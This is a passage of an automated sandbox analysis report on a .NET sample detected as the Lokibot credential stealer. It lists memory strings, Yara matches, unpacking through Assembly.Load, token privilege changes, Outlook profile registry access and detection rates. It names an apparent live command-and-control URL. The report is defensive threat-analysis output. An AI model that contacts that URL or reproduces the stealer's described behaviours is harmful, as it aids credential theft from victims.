Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.607462942.00000000004A0000.00000040.00000001.sdmp	String found in binary or memory: http://nevomw.com/candy/five/fre.php
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comai
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comce9
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363372884.0000000001A07000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comuec
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.366875705.00000000062A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_017BC134	0_2_017BC134
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_017BE578	0_2_017BE578
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_017BE56A	0_2_017BE56A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_07AC4BA2	0_2_07AC4BA2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_07AC5F28	0_2_07AC5F28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_07AC5F38	0_2_07AC5F38
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_07AC10C7	0_2_07AC10C7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 0_2_07AC10D8	0_2_07AC10D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 1_2_0040549C	1_2_0040549C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 1_2_004029D4	1_2_004029D4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: String function: 00405B6F appears 42 times

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000000.341178882.0000000000F66000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamed~ vs SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.369734521.0000000007840000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameaspnet_rc.dllT vs SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameB2B.exe4 vs SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000000.00000002.369816224.00000000078F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMARCUS.dll4 vs SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, 00000001.00000000.360680580.0000000000986000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamed~ vs SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Binary or memory string: OriginalFilenamed~ vs SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@247/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

1_2_0040650A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

1_2_0040434D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Virustotal: Detection: 39%
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	ReversingLabs: Detection: 20%

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

String found in binary or memory: "/Added title with ID {0}-Deleted title with ID +Loaded title with ID GCould not find title with entry {0}

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe'
Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe {path}
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe {path}	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe, StoreManagmentSystem/FormStart.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.ec0000.0.unpack, StoreManagmentSystem/FormStart.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.ec0000.0.unpack, StoreManagmentSystem/FormStart.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.8e0000.1.unpack, StoreManagmentSystem/FormStart.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.0.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.8e0000.0.unpack, StoreManagmentSystem/FormStart.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xC1FEB99E [Sun Feb 19 02:19:10 2073 UTC]

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852, type: MEMORY
Source: Yara match	File source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 1_2_00402AC0 push eax; ret		1_2_00402AD4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 1_2_00402AC0 push eax; ret		1_2_00402AFC

Source: initial sample

Static PE information: section name: .text entropy: 7.85676588796

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
